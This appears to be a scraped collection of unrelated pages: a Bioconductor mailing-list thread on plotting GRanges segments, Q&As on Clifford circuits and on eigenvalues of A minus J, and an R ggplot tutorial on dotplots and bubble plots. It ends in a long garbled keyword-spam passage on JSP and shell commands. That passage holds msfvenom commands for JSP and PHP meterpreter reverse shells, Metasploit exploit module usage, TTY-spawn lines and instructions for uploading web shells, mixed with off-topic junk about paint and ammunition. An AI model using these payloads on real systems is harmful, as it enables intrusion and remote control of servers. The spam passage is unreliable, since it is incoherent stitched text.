Hello I have a Granges object that is like this (used along with ggbio) : GRanges with 6 ranges and 6 metadata columns: seqnames ranges strand | score id highlight <rle> <iranges> <rle> | <numeric> <factor> <logical> [1] 1 [ 4793, 227744] * | -0.17 DAH115 FALSE [2] 1 [ 522302, 558478] * | -0.03 DAH115 FALSE [3] 1 [ 695745, 978366] * | -0.06 DAH115 FALSE [4] 1 [1055159, 1231946] * | 0.24 DAH115 FALSE [5] 1 [1239050, 1589751] * | -0.05 DAH115 FALSE [6] 1 [1593026, 1610764] * | 0.25 DAH115 FALSE I am basically plotting a bar plot with x : genome coordinates, and y : score I would like to know how can I add segments (Start and End) that map IRanges that correspond to a certain value of the object. Example : if values(myobject)$id = DAH115 plot the correspondant (horizontal line) segments (start - end) on top of the final histogram. I think we can use geom_segment but I am not sure how to extract the ranges, I extracted them into a dataframe but I am not sure what would be the method to append the plot Thanks Rad [[alternative HTML version deleted]] • 1.6k views ADD COMMENTlink modified 5.7 years ago by Tengfei Yin490 • written 5.7 years ago by Radhouane Aniba240 Answer: Plotting segment of Granges intervals 0 5.7 years ago by Tengfei Yin490 Tengfei Yin490 wrote: hi just FYI, to avoid duplicate discussion, this thread is continued here https://github.com/tengfei/ggbio/issues/51 basically 1. there is a workaround to add boundary between chromosome discussed in another thread, and 2. low level coord "genome" mapping (layer by layer, data by data) is not supported yet, but I am working on that right now. thanks Tengfei On Wed, Mar 26, 2014 at 6:02 PM, Radhouane Aniba <[email protected]> wrote: > Hello > > I have a Granges object that is like this (used along with ggbio) : > > GRanges with 6 ranges and 6 metadata columns: > seqnames ranges strand | score id highlight > <rle> <iranges> <rle> | <numeric> <factor> <logical> > [1] 1 [ 4793, 227744] * | -0.17 DAH115 FALSE > [2] 1 [ 522302, 558478] * | -0.03 DAH115 FALSE > [3] 1 [ 695745, 978366] * | -0.06 DAH115 FALSE > [4] 1 [1055159, 1231946] * | 0.24 DAH115 FALSE > [5] 1 [1239050, 1589751] * | -0.05 DAH115 FALSE > [6] 1 [1593026, 1610764] * | 0.25 DAH115 FALSE > > I am basically plotting a bar plot with x : genome coordinates, and y : > score > > I would like to know how can I add segments (Start and End) that map > IRanges that correspond to a certain value of the object. > > Example : if values(myobject)$id = DAH115 plot the correspondant > (horizontal line) segments (start - end) on top of the final histogram. > > I think we can use geom_segment but I am not sure how to extract the > ranges, I extracted them into a dataframe but I am not sure what would be > the method to append the plot > > Thanks > > Rad > > [[alternative HTML version deleted]] > > _______________________________________________ > Bioconductor mailing list > [email protected] > https://stat.ethz.ch/mailman/listinfo/bioconductor > Search the archives: > http://news.gmane.org/gmane.science.biology.informatics.conductor > -- Tengfei Yin, PhD Seven Bridges Genomics sbgenomics.com 625 Mt. Auburn St. Suite #208 Cambridge, MA 02138 (617) 866-0446 [[alternative HTML version deleted]]
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# Given a non-Clifford quantum circuit $U$, is it possible to construct a commuting Clifford circuit $C$?
Given a non-Clifford circuit $$U$$, say $$U = \prod_{i=1}^k e^{i \theta_i P_i}$$ for $$P_i \in \{ I,X,Y,Z\}^{\otimes n}$$ and $$\theta_i \in \mathbb{R}$$.
Is it possible to construct a non-trivial Clifford circuit $$C$$ such that it commutes with $$U$$? .
• I would guess not since it is possible to decompose U as {Clifford+T}. If there is C that commutes with U while being Clifford shouldn't we have Cliffords commuting with T, which is not possible I guess? Interesting question (+1)
– R.W
Apr 17 at 6:42
• @R.W Any diagonal Clifford commutes with $T$ ... Apr 18 at 11:42
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# The Extra Step: Graphs for Communication versus Exploration
January 12, 2014
By
(This article was first published on Win-Vector Blog » R, and kindly contributed to R-bloggers)
Visualization is a useful tool for data exploration and statistical analysis, and it’s an important method for communicating your discoveries to others. While those two uses of visualization are related, they aren’t identical.
One of the reasons that I like ggplot so much is that it excels at layering together multiple views and summaries of data in ways that improve both data exploration and communication. Of course, getting at the right graph can be a bit of work, and often I will stop when I get to a visualization that tells me what I need to know — even if no one can read that graph but me. In this post I’ll look at a couple of ggplot graphs that take the extra step: communicating effectively to others.
For my examples I’ll use a pre-treated sample from the 2011 U.S. Census American Community Survey. The dataset is available as an R object in the file phsample.RData; the data dictionary and additional information can be found here. Information about getting the original source data from the U.S. Census site is at the bottom of this post.
The file phsample.RData contains two data frames: dhus (household information), and dpus (information about individuals; they are joined to households using the column SERIALNO). We will only use the dhus data frame.
library(ggplot2)
# Restrict to non-institutional households
# (No jails, schools, convalescent homes, vacant residences)
hhonly = subset(dhus, (dhus$TYPE==1) &(dhus$NP > 0))
Dotplots for Discrete Distributions
Suppose you want to plot aggregations of the data along discrete numerical values: for example the distribution of household size, or the number of houses bought every year. We’ll plot the distribution of household size in this example. Seems easy, right? A histogram should do it.
# get the largest household size in the data
maxfam = max(hhonlyNP, na.rm=T) breaks=0:maxfam ggplot(hhonly, aes(x=NP)) + geom_histogram(binwidth=1) + scale_x_continuous("#persons in household", breaks=breaks, labels=breaks) + scale_y_continuous("number of households") This tells me what I need to know: most households in the U.S. consist of one or two people, and the number falls off from there. For internal data exploration, I would stop here and move on. But I wouldn’t share this graph with people outside the project. It’s a bit hard to read: the ticks are aligned to the left side of the bars, rather than centered, and because the bars touch, it’s harder to discern the aggregation values that correspond to mid-range household sizes. These problems will be worse when the range of the data is wide, for example if you are aggregating the number of visits to your website at a minute granularity. Reading more than an hour’s worth of that kind of data in this format would be difficult even for internal data exploration, let alone external consumption. Since the x-values are discrete, you can treat them as factors: ggplot(hhonly, aes(x=as.factor(NP))) + geom_bar() + scale_x_discrete("#persons in household", breaks=breaks, labels=breaks) + scale_y_continuous("number of households") Better. But this will fail if there is a gap in the data, say no households of size 7. In that case, the x-axis would go directly from 6 to 8 — not what you want. For wide data ranges, you will again come up against the problem of the bars touching. Also, you may be of the “bar charts are bad” school of thought. In this case, I don’t think it makes much difference, but there are definitely situations where a dotplot is better. What works best for external consumption (and internal exploration, too) is something like this: This takes a few extra lines to produce, using the stat_summary layer: # a dummy function that only returns zero zero = function(x) {0} # add a column of all ones to the data frame # for summation ggplot(cbind(hhonly, one=1), aes(x=NP, y=one)) + stat_summary(fun.y="sum", geom="point", size=2) + stat_summary(fun.ymax="sum", fun.ymin="zero", geom="linerange") + scale_x_continuous("#persons in household", breaks=breaks, labels=breaks) + scale_y_continuous("number of households") If you look over Hadley Wickham’s examples of using stat_summary, you will see examples of several summary functions that come from the Hmisc package. There might be a more succinct way to produce my dotplot using one of these summation functions, but this works well enough for me. Bubble plots in place of dense scatterplots I never thought much of bubble plots before, but I saw this variation of them in a blog post from the Computational Story Lab, and I like it a lot. To motivate its use, suppose we want to understand how income affects your ability to find housing within your means. We’ll define “within your means” using the standard financial wisdom that you should spend no more than 30% of your income on housing expenses (rent, or mortgage plus homeowner’s taxes, etc). For income, we’ll use household income. I’ll set up the problem step by step (long-winded, but easier to read). # remove households with no (positive) income filtered = subset(hhonly, hhonlyHINCP > 0)
expense_frame = with(filtered,
data.frame(np=NP, # household size
hinc = HINCP, # household income
hinc.log10=log10(HINCP),
ocpip=OCPIP, # owner costs as % hinc
grpip=GRPIP)) # gross rent % hinc
# A discretized version of household income, for later
expense_frame$hinc.bin = 10^(round(expense_frame$hinc.log10, 2))
# merge the owner and renter expense columns
living_expenses = with(expense_frame,
ifelse(!is.na(ocpip), ocpip,
ifelse(!is.na(grpip), grpip, NA)))
# cost of living (housing) as % household income
expense_frame$COL_pct = living_expenses # is the household living beyond its means? expense_frame$beyond.means = (living_expenses > 30)
# remove households with no rent or living expenses
expense_frame = subset(expense_frame, !is.na(living_expenses))
Let’s look at the relative cost of housing as a function of household income. The red line represents the 30% mark; points above it are households living beyond their means.
library(scales)
ggplot(expense_frame, aes(x=hinc, y=COL_pct)) + geom_point() +
geom_hline(aes(yintercept=30), color="red") +
scale_x_log10("Household Income",
breaks = trans_breaks("log10", function(x) 10^x),
labels = trans_format("log10", math_format(10^.x))) +
annotation_logticks(sides="b") +
scale_y_continuous("Living expense as %income")
Not pretty, but it tells you loud and clear that households making less than $10,000/year are screwed, and most households making more than about$125,000/year (that’s 105.1) are doing just fine. Most people live in the range between those two values, and it’s a bit harder to see what’s going on there (and it would be worse with a bigger sample; this sample is only about 2300 households). You can switch geom_point() to geom_hex() to get a little more insight into the internals of the cloud.
A bit more informative, but still not terribly pretty, and hard to explain to people who aren’t used to them; so not the best choice for external consumption. Enter the bubble plot.
Each point represents the average value of y for a given value of x (that’s why we had to discretize household income, earlier). The size of the point represents how many observations went into creating that point: big bubbles mean lots of observations in that income bin, smaller bubbles mean fewer observations. We lose the information about the diffuseness of the data, but we can clearly see the relationship between household income and living expenses, in expectation. This is a plot that is good for public consumption.
Ideally, I’d like to make this plot without creating auxiliary data frames, and perhaps there is a way to do that in the Hmisc package, but dealing with extra packages isn’t always worth the effort. So I settled for creating helper frames. First, a function to calculate the average value of y over a discrete set of x values, along with a weight to indicate how many observations there were for each x.
# This assumes a finite number of x values.
# Return a dataframe
# x: xvalues
# y: mean of y for a given x (like stat_summary(fun.y=mean))
# wt: sqrt of number of datums for that x
#
# use sqrt(count) for the weight, because we perceive area
#
bplot_stats = function(xcol, ycol) {
nrows = length(xcol)
ymeans = aggregate(ycol, by=list(xcol), FUN=mean)
# returns dataframe with colnames (Group.1, x)
xcounts = aggregate(numeric(nrows)+1, by=list(xcol), FUN=sum)
data.frame(x = xcounts$Group.1, wt = sqrt(xcounts$x), y=ymeans$x) } # example -- average income per household size (and weight) bplot_stats(expense_frame$np, expense_frame$hinc) # x wt y # 1 1 26.362853 39645.25 # 2 2 28.965497 69836.16 # 3 3 18.788294 80723.65 # 4 4 16.552945 94756.79 # 5 5 11.489125 88109.98 # 6 6 6.782330 67924.35 # 7 7 4.582576 71825.71 # 8 8 3.162278 66910.00 # 9 9 2.449490 81550.00 # 10 10 1.732051 119666.67 # 11 11 1.000000 96000.00 # 12 12 1.000000 66660.00 # 13 13 1.000000 106700.00 Notice that the weight is the square root of the number of observations. This is because the weight will dictate the size of the bubble on the plot, and since we perceive area, using the square root of the count will encode relative magnitudes correctly. Now let’s summarize the cost of living data, and plot it. # now let's use it on the data hinc_stats = bplot_stats(expense_frame$hinc.bin,
expense_frame$COL_pct) # # Remove the legend for wt, because actual magnitude (sqrt of datum count) # will only confuse the viewer. The qualitative bubble size should be enough # ggplot(hinc_stats, aes(x=x,y=y)) + geom_point(aes(size=wt)) + geom_hline(aes(yintercept=30), color="red") + scale_x_log10("Household Income", breaks = trans_breaks("log10", function(x) 10^x), labels = trans_format("log10", math_format(10^.x))) + annotation_logticks(sides="b") + scale_y_continuous("Living expense as %income") + theme(legend.position="none") # remove the legend for wt This produces the bubble plot that we saw above. Bubble Plots and Regression One of the nice things about this plot is that you see the data the way that a regression algorithm sees the data: as expectations. In particular, even if we restrict ourselves to the income range$10,000 and above, we can see that the relationship between log income and expected living expense is not linear: the decrease in relative expenses levels off as your income increases. So rather than encoding the relationship with a linear regression, try a GAM (generalized additive model):
# restrict to households with income > $10K gt10K = subset(expense_frame, expense_frame$hinc.log10 > 4)
# fit a GAM
# we could use library(gam), too, but it has potential
# conflicts with ggplot
library(mgcv)
exp_mod = gam(COL_pct ~ s(hinc.log10), data=gt10K)
summary(exp_mod) # not shown
# adjusted R-sq of 0.288, and a significant effect from hinc.log10
COL_pct.pred = predict(exp_mod)
# plot it, with the GAM predictions superimposed
mod_stats = bplot_stats(gt10K$hinc.bin, gt10K$COL_pct)
tmp = cbind(gt10K, pred=COL_pct.pred)
# the x-axis labels are a little wrong.
# Disregard the labels for 10^4.5 and 10^5.5
ggplot(mod_stats, aes(x=x,y=y)) + geom_point(aes(size=wt)) +
geom_line(data=tmp, aes(x=hinc, y=pred), color="blue") +
scale_x_log10("Household Income",
breaks = trans_breaks("log10", function(x) 10^x),
labels = trans_format("log10", math_format(10^.x))
) +
annotation_logticks(sides="b") +
scale_y_continuous("Living expense as %income") +
theme(legend.position="none")
The fraction of variance explained by the model (28.8%) isn’t great, but it’s not bad, either, when you consider how diffuse the data cloud is.
This bubble plot is a nice way to visualize boolean data (the beyond.means column), too. Let’s plot the fraction of the population living beyond their means as a function of household income: summarize using bplot_stats(gt10K$hinc.bin, gt10K$beyond.means), and plot as above. The y-axis will represent the fraction of households in each income bin that are spending too much on living expenses.
From $10,000 to$100,000, the probability of a household living beyonds its means decreases steadily from 100% to near 0% (the decrease looks nearly linear with log income, which implies an exponential falloff with income). The little splattering of households living beyond their means in the $100,000 –$150,000 range are probably based in places like San Francisco or New York City, where salaries are high but the cost of housing is even higher.
While the dotplot and the bubble plot are a bit more difficult to create than the more out-of-the-box ggplots, the extra effort is worth it for effective communication of your findings. In fact, if you can encapsulate the plots sufficiently for frequent reuse, they are powerful tools for internal data exploration, as well.
The original census data can be found here, and the corresponding data dictionaries and documentation here. I used a sample of the 2011 data because I happened to have it prepared; the 2012 data is now available on the U.S. Census site as well.
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# What is the eigenvalue of matrix from matrix minus all-ones matrix?
Suppose we know the eigenvalues of matrix A, and J is all-ones matrix with all elements are one. Then what are the eigenvalues of A-J?
ps. A is random matrix with element from distribution N(0,s)
Thanks.
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I see. So how about the shift of eigenvalue's distribution of A? In other words, if we know the distribution of eigenvalues for A, then how about the distribution of eigenvalues for A-J? Thanks. – Young Jan 4 '14 at 7:26
For example, $A = \begin{pmatrix} 1 & 0\\ 0 & 1 \end{pmatrix}$ has eigenvalues $1$ and $1$, and $A - J$ has eigenvalues $-1$ and $1$.
If $B = \begin{pmatrix} 1 & 1\\ 0 & 1 \end{pmatrix}$, then $B$ has the same eigenvalues as $A$. However, $B - J$ has the eigenvalues $0$ and $0$.
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Each vulnerability on its own is not as strong as their chaining - which allows a user to change from unauthenticated to authenticated access, to running commands, and finally running these commands with root privileges. This blog explains how to create a Deployment Pipeline using Jenkins and Docker for a Java application talking to a database. Or you can add this as the first command in the script: set x. A global solution is to add a "SHELL" command to your CONFIG. You issue the commands to ZooKeeper via telnet or nc, at the client port. This has nothing to do with JSP (and I would advise you to test it in a standalone environment before implementing it in a JSP). Shell command 'ia' Command line from a Windchill shell NOTE: The following command is not currently available and will be added shortly in Manager 1. Like many other languages, PowerShell has commands for controlling the flow of execution within your scripts. -version, -V Display version information and exit. x based OpenCms installations are also available. Hide / Remove a tool (linked or integrated application) Set site-level permissions for an integrated application. php file (which will insert the malicious command into the database). Executing Shell Command in JSP We think she has won a lottery, big, or something. Also, the lack of a current directory also applies to the script itself as well as the script location, so if the script is writing out a data. The latest version of JWT auth is 1. txt to February 1st of the current year. Open Internet Explorer, Login to a Website, and then Launch an executable This script can be used on a Windows 7 workstation as a logon script to launch Internet Explorer and to subsequently login to a web site that is defined in the script. windowNameA name to be given to the new window. C99shell C99shell. JSTL if tag helps a lot to reduce the amount of Java code from JSP page and if used, along with expression language JSTL core tag library, can remove almost all Java code from JSP files. On some old-time teletype terminals, this would actually ring a bell. How to run a command line within python, get the output and manipulates it. run: salt '*' cmd. In order for a script to be very useful, you will need to be able to test the conditions of variables. Imagine how long it would take you to write the equivalent C or Java program. Members can be users, groups, and computers. gz This will create a directory apache-tomcat with the version number in it. scp /home/ test. NOTE: SH files may also be used to store scripts for other shell programs such as Bourne Shell, C-Shell, and Korn Shell. Open a shell and navigate to the downloaded. It contains events related to the event June 8, 1999: New York Emergency Command Center Opened in WTC Building 7. 4 comes with JSP/EL 2. It is then possible to upload a JSP script to the root directory of the web application to execute commands on the remote host operating system. Browse our wide selection of Do It Yourself paints. 1604 Views Tags: 1. jsp to the X-File-Name header is a way to do so. java , is in the current working directory, type the javac command in boldface below to compile it. exe command shell file and run the command dir c:\ in the shell. Web Shell Detector php/python script that helps you find and identify php/cgi(perl)/asp/aspx shells. Transitioning Service Console Commands. JexBossJexBoss is a tool used to test and exploit vulnerabilities in Java applications and platforms, including the JBoss AS/WildFly web server framework. These 'z' parameters in the form data contain the arguments to commands , which are passed from the Chopper client to the server payload. I want to create a database backup file on the web server using "mysqldump" command in JSP or Servlet. It will give the output as "1 is the largest number" reason is you have used only sort command not sort -nr so it will not sort in reverse order, so in your case head -1 will rather than tail -1. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. A JSP page is basically a web page with traditional HTML and bits of Java code. For Java, it supports compiling a Java source file with the default build named JavaC. Run a Shell Command. java demonstrating the ssh session via HTTP proxy. Web Shell DescriptionA web shell is a script that can be uploaded to a web server to enable remote administration of the machine. Deploying a Web Shell. bat files for Windows NT):. Each Tcl command consists of one or more words separated by spaces. The syntax is (case sensitive): Help usage yaml, r and jsp. Shell command 'ia' Command line from a Windchill shell NOTE: The following command is not currently available and will be added shortly in Manager 1. Another way to do this, although a less obvious way and probably less readable in a shell script by others, is > blah. Jones: J2EE Security for Servlets, EJBs, and Web Services (2003) by Pankaj Kumar: Core Servlets and Javaserver Pages: Core Technologies, Vol. The Eclipse Foundation - home to a global community, the Eclipse IDE, Jakarta EE and over 350 open source projects, including runtimes, tools and frameworks. java demonstrating the ssh session via SOCKS proxy. At that instant, if you. Simply change the extension of your HTML file to. Export data from a table to CSV file using the \copy command. Quick note: If you're new to the command-line, you're probably used to commands executing every time you hit Enter. popup based on the "RCP application with a view" example. gz This will create a directory apache-tomcat with the version number in it. Role: Software Developer Solution Environment: PL/SQL, SQL, Unix Commands and Shell Scripting, HTML, JSP, SQL Developer, Toad, iReport 3. toolbar:viewId - For example to display a menu to view with the Id "View1" use "toolbar:View1". In other words, the command is interpreted locally. NEUBrew data can be downloaded via HTTP using WGET for Linux (Docs) or WGET for Windows (Cygwin). Run a Shell Command. Unix Interview Questions. powershellbros. The Get-ADGroupMember cmdlet gets the members of an Active Directory group. It is a simple win32 application that can interact and talk with any win32 objects in the Windows operating system. As you can see, in this reg add command we add the path of …\AttachmentExecute\{0002DF01-0000-0000-C000-000000000046} And we add the key named RDP. exe being executed, and not every time error2. Many of the deployed web shells utilize the original pwn. 20 gauge shotgun shell is a type of ammunition in Fallout: New Vegas. A web shell can be written in any language that the target web server supports. 3 LPORT=9000 -f raw > /root/Desktop/shell. Unlike most other languages, spaces are very important when using an if statement. exec to execute external shell command : 1. The application has several classes, reads from several files to take input and also uses Jackson jar library. The oil on canvas painting depicts a Parisian boy holding a pipe in his left hand and wearing a garland or wreath of flowers. Command lineA new command line is in the works, this year's Christmas present. In Java, we can use ProcessBuilder or Runtime. Symantec Enterprise Security Attention: Planned Phone Maintenance is scheduled for Brocade Storage Networking. Beginning/Intermediate Servlet and JSP. The first word is the name of a command and the other words are arguments to that command. Apache JMeter may be used to test performance both on static and dynamic resources, Web dynamic applications. The SyntaxHighlight extension, formerly known as SyntaxHighlight_GeSHi, provides rich formatting of source code using the tag. Enter a Project name and (optionally) a Java package. A class which implements java. Command Prompt is a default command line interface which provided by Microsoft. exec options that runs commands. git directory are private to git. This has nothing to do with JSP (and I would advise you to test it in a standalone environment before implementing it in a JSP). Bash is a command language and Unix shell that replaces the Bourne shell, which is how it got the name Bourne-again. It will even relay vim sessions (as you suggest). OK, I Understand. Edit a site-wide linked application. The FQDN consists of two parts: the hostname and the domain name:. Nios II SBT Scripts Command Summary nios2-bsp Creates or updates a BSP create-this-app (1) Creates a software example and builds it create-this-bsp (1). Connect To MySQL Database From Command Line Guide. This method is invoked by the container only once when a JSP page is initialized. Let’s try both techniques. FusionPBX 4. The Shell Script Code Builder includes information on the built-in commands / functions contained in the Shell Script library, for example, eval, export, printf, etc. Install Apache Tomcat. Pivoting to Internal Network Via Non Interactive Shell; Patator is a multi-purpose brute-forcer; Metasploit Web terminal via Gotty; Get full shell with POST RCE; Exiftool - Read and write meta information in files; Get SYSTEM with Admin reverse_shell on Win7; Get SYSTEM with Standard user reverse_shell on Win7. Linux grep command usage with examples. The weblogic. The major goal of this project is a zero-compromise combination of hackability and usability. The requirements for High-Throughput GoMiner are the same as the requirements for GoMiner. setting upload_max_filesize = 10M and post_max_size = 10M in php. execute ('/bin/sh') Spawn TTY Shell from Vi. msfvenom -p php/meterpreter_reverse_tcp -o shell. war | grep jsp # in order to get the name of the file Copy Lua: Do not use Lua’s os. Perform social engineering activities to broaden the scope of the attack. Today I want to show you how to use. toolbar:viewId - For example to display a menu to view with the Id "View1" use "toolbar:View1". Connect To MySQL Database From Command Line Guide. sh and it's run in command line as: dist. Worth the cash. 9) Define shell. sudo service shellinaboxd start. Many of the ones listed below comes from this cheat-sheet:. Jsp calls beans and bean calls sh file -- this is not wokring. IN windows environment calling notepad and opening it through the jsp is possible. jsp Uploading Data: Upload. Example: SliderPlot. Simply change the extension of your HTML file to. 1604 Views Tags: 1. /nxserver/nuxeo. Dear Friends, During the development of jsp on linux I have to execute some bash shell from jsp, which executes some system command and returns the status. It is responsible for taking inputs from the user and displaying the output. Kali JSP Reverse Shell During penetration testing if you're lucky enough to find a remote command execution vulnerability, you'll more often than not want to connect back to your attacking machine to leverage an interactive shell. Run the following command to copy it to container's root directory. The best of all, it is open source! Download the pwnshell here. Unix time-sharing system: the unix shell Abstract: The UNIX∗ shell is a command programming language that provides an interface to the UNIX operating system. For Project nodes the project directory is used. php file via a GET request with the service id followed by the parameter a=start to execute the. All Tcl commands consist of words, but different commands treat their arguments differently. I don't believe that you can redirect input and output (using < and > ;) on the command line you pass to Runtime. If you run into issues leave a comment, or add your own answer to help others. Please check your preferred contact method for the Security Token and enter the token below, then click Verify. Dear Friends, During the development of jsp on linux I have to execute some bash shell from jsp, which executes some system command and returns the status. See the following links for more help: What is the difference between a 'Login' and an 'Interactive' bash shell (from the sister site: serverfault. Know, it, use it. The wsadmin tool can be used to execute scripts written in Jacl and Jython, or it can be used interactively to execute individual commands. Many of the ones listed below comes from this cheat-sheet:. Save money on hundreds of brands in store or online with Coupons. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. Once uploaded, an attacker can use other techniques to escalate privileges and issue commands remotely. Learning commands related to Calendar: Commands related to creating a new file: Commands related to displaying the contents of a file: Commands related to listing directories and files: Commands related to creating a new directory. The MySQL Shell provides: Both Interactive and Batch operations. IN windows environment calling notepad and opening it through the jsp is possible. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser. The vision is to allow developers start with decent defaults with a single copy-paste. The general form of the command is: find (starting directory) (matching criteria and actions) The find command will begin looking in the starting directory you specify and proceed to search through all accessible subdirectories. Enable or disable integrated applications. We are interested in the executable output, which is provided by the -f exe option. You can get the shell to echo everything it is doing, by running the command thus: sh -x yourscript. jsp Underlying Technology and Limitations Using Java APIs Server APIs Other Java APIs Data Loading and Computation File I/O HTTP Upload Database Connectivity Web Services Data Examples Loading Data: Load. displays the command in the toolbar of the view. It has been used by several threat groups. There are two ways to fix this: either change the initial memory setting of the DOS window to a value greater than 3200 OR edit the config. Here's a brief list of frequently used commands:. How to Check MySQL Version on Command Line. The attacker makes a RDS query which results in the commands run as shown The vulnerability occurs because a "tomcat" user on the system can run certain shell commands, allowing the user to overwrite any file on the filesystem and elevate privileges to root. In this tutorial we will go over how to read file line by line and then perform curl operation to get HTTP response code for each HTTP URL. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser. Web shells can steal data, perpetrate watering hole attacks, and run other malicious commands for further compromise. On executing above command, I got webshell directly as you can observe it in the given below image. To do this issue the command: source. The procedure is CREATE OR REPLACE PROCEDURE DEMO_PRC (dist IN variable,mrno IN variable, yr IN variable,flags OUT number) IS begin flags:=0; // CODE THAT GENERATES A UTIL flags:=1; end; /. Re: Shell commands from JSP after Forms migration 394386 Feb 23, 2006 3:18 AM ( in response to 394386 ) Hi, Not only rename commands but I have to pass several other os commands like 'sqlldr' for data upload as well. With the help of these commands, we can perform all type of table operations in the HBase shell mode. Command lineA new command line is in the works, this year's Christmas present. java FindNeighbors. 3 - Remote Code Execution (Metasploit). Durga Software Solutions. exec() unless you "shell-out" appropriately. The text of the message can be entered either on the command line or read from a text file. The tip to use a shell scripting command is that it should be used where the action is redundant such that it can be automated as the main idea behind creating a shell script is to lessen the load of the end-user. 800345 Sep 15, 2008 10:52 AM. I use the following command to create the payload: msfvenom -p java/jsp_shell_reverse_tcp LHOST=10. At the Linux command line (EL7+, Ubuntu 18+ or Amazon Linux 2) use this command:. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10. "commands" - array of commands that will be run whenever a file is saved. Using JSP, you can collect input from users through Webpage forms, present records from a database or another source, and create Webpages dynamically. Transitioning Service Console Commands. Find cci 9mm luger ammo for sale online, in-stock and ready-to-ship at AmmoFreedom. The FQDN consists of two parts: the hostname and the domain name:. Copy from source to dest $cp [options] source destcp command options. Setting the value . jsp and upload to the victim server. JavaScript commands are usually called JavaScript code. North America: 1-888-882-7535 or 1-855-834-0367 Outside North America: 800-11-275-435. Their servers are a great fit for sites running on Java, Ruby on Rails or exotic setups like nodejs, django, Erlang or you name it. - open the Windows CMD command line, Mac OS X Terminal or Linux shell. This user feedback pointed me in a design direction, and the ScalaTest Shell was born. I use the following command to create the payload: msfvenom -p java/jsp_shell_reverse_tcp LHOST=10. It contains events related to the event June 8, 1999: New York Emergency Command Center Opened in WTC Building 7. This means. 2 without EL. For Java, it supports compiling a Java source file with the default build named JavaC. Here the system is being prepared with tools to query a PHP page from command line. This class allows Java application to interfere with the environment in which it is running as each. gz file as shown below using tar command. Click Start -> Run and enter sysedit. Kali JSP Reverse Shell During penetration testing if you're lucky enough to find a remote command execution vulnerability, you'll more often than not want to connect back to your attacking machine to leverage an interactive shell. By automating the execution of specific statements you not only need to write less code, but you also free up time which can be used in more important tasks. This has nothing to do with JSP (and I would advise you to test it in a standalone environment before implementing it in a JSP). Sudo ships with a sudoreplay command that makes replaying sessions easy. SYS window, add the line: SHELL=C:\COMMAND. Description NNM detected suspicious activity that indicates a remote client interacting and issuing commands on the server via a remote web shell. Tomcat, the Java Servlet and JSP engine, will execute the Java Servlet which will use JDBC to access a database (PostgreSQL or MySQL). 1) on TCP port 6001. In many pages, this would be completely harmless. Using the ONTAP command-line interface Understanding the different shells for CLI commands Access of nodeshell commands and options in the clustershell Displaying available nodeshell commands Methods of navigating CLI command directories Rules for specifying values in the CLI Methods of viewing command history and reissuing commands. A backdoor is a malware type that negates normal authentication procedures to access a system. html : licenses information and exceptions. The Eclipse Foundation - home to a global community, the Eclipse IDE, Jakarta EE and over 350 open source projects, including runtimes, tools and frameworks. windowNameA name to be given to the new window. Regular expression pattern matching. Then click OK. touch --date="1 February" file1. A web shell can be written in any language that the target web server supports. To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced': msf > use exploit/multi/http/apache_activemq_upload_jsp msf exploit(apache_activemq_upload_jsp) > show targetstargets msf exploit(apache_activemq_upload_jsp) > set TARGET target-id >. calling_shell_commands_from_plsql Created Date: 9/26/2008 11:58:53 AM. To install the atom and apm commands, run "Window: Install Shell Commands" from the Command Palette, which will prompt you for an administrator password. The weblogic. As you can see the “jps” command gives you all the needed information like the PID and the java process name. When: Sunday, June 28, 2020 12:00AM PDT to Sunday, June 28, 2020 07:00AM PDT. But now imagine that you have logged into site A, and that site has used a session cookie to store your identity. , Angular Console. Simple JSP cmd shell. using Mongo. Once you get the hang of these commands, you can do most of your work more. servlet Process Server Administration Command Line Tool About. wget helps users to download huge chunks of data, multiple files and to do recursive downloads. If you are looking to download numerous data files, this section provides a method to accomplish this from the command line using wget. exe -file "c:\path\to\file. As always, you'll find the sources on GitHub. There are any number of reasons for browsing the web from the command line. "commands" - array of commands that will be run whenever a file is saved. This is the readable version of the webshell. Ok, Most of the times we only get a command shell on our target while hacking, although we wish we got a meterpreter session (like the case here). Net class to get FQDN (Fully Qualified Domain Name). This means. execute ('/bin/sh') Spawn TTY Shell from Vi. The Eclipse Foundation - home to a global community, the Eclipse IDE, Jakarta EE and over 350 open source projects, including runtimes, tools and frameworks. NET page Once a web shell is successfully inserted into a web server, it can allow remote attackers to perform various tasks on the web server. It is an interpreter in Linux. However, the command line. To receive your username, please enter the email address associated to your account. info - A to view the app package information:. msfvenom -p php/meterpreter_reverse_tcp -o shell. JexBoss is written in the Python programming language using standard Python libraries. Script: Kill Process will kill the process but leaves the pane open. Shell On Path Action Launch the OS shell (such as Command Prompt orXterm or Terminal) with the current directory set to path of the folder or parent path of the file of selected node. My work around was to copy & paste the object to be shelled to a new drawing, carry out the shell operation, then copy and paste back. To install the atom and apm commands, run "Window: Install Shell Commands" from the Command Palette, which will prompt you for an administrator password. The reasons why we should use JSP will be the strongest foundation for you. The following command line will give you a bash shell inside your cassandra container:$ docker exec -it some-cassandra bash. Re: Runtime. If you believe that there is additional information not being provided to you by this website, you may contact us at (386) 736-5943 or [email protected] Sublime Text is a very popular editor for writing code. By default the password is “secret”, unless you modify the shell. NOTE: SH files may also be used to store scripts for other shell programs such as Bourne Shell, C-Shell, and Korn Shell. js, back end useLaravelTo build API service, the package of user authentication originally wanted to use laravel passport, but it felt a bit troublesome, so JWT auth was used. It disables the default JAR archive generation of the Java plugin and adds a default WAR archive task. Flow would look like. To set the required rights, type chmod u+x ANtsP2P_Setup_[version]. jsp shell code that was presented with the original exploit, as can be seen in a blog entry posted by one of the attack's victims. The editor is feature-rich and provides an extensive range of tools, templates, and samples; and it’s highly extensible using community developed plugins, thus making. Earlier I wrote a program to connect to remote database on SSH server. One can type any valid Java code into the console and get immediate results and feedback, without the need to write a verbose class with a main method. Unfortunately, the bash shell is not enabled by default on Windows 10, so in order to use it you must enable it first, and you can only get it if your Windows has the Anniversary Update or other newer versions and it will not work under older versions of Windows, such as 8/8. WexCommandLineExecutor -pid com. Answer: Unix operating system is basically divided into three parts, namely, the kernel, the shell, and the commands and utilities. The following command should be run on the server. java demonstrating the ssh session via HTTP proxy. Members can be users, groups, and computers. After going through all the above shell scripting interview questions and answers, mainly we understood that a shell is an interface between a user and an operating system that interprets the command entered by a user to the kernel or operating system. COM /E:4096 /P and click File -> Save. A list of top frequently asked Unix interview questions and answers are 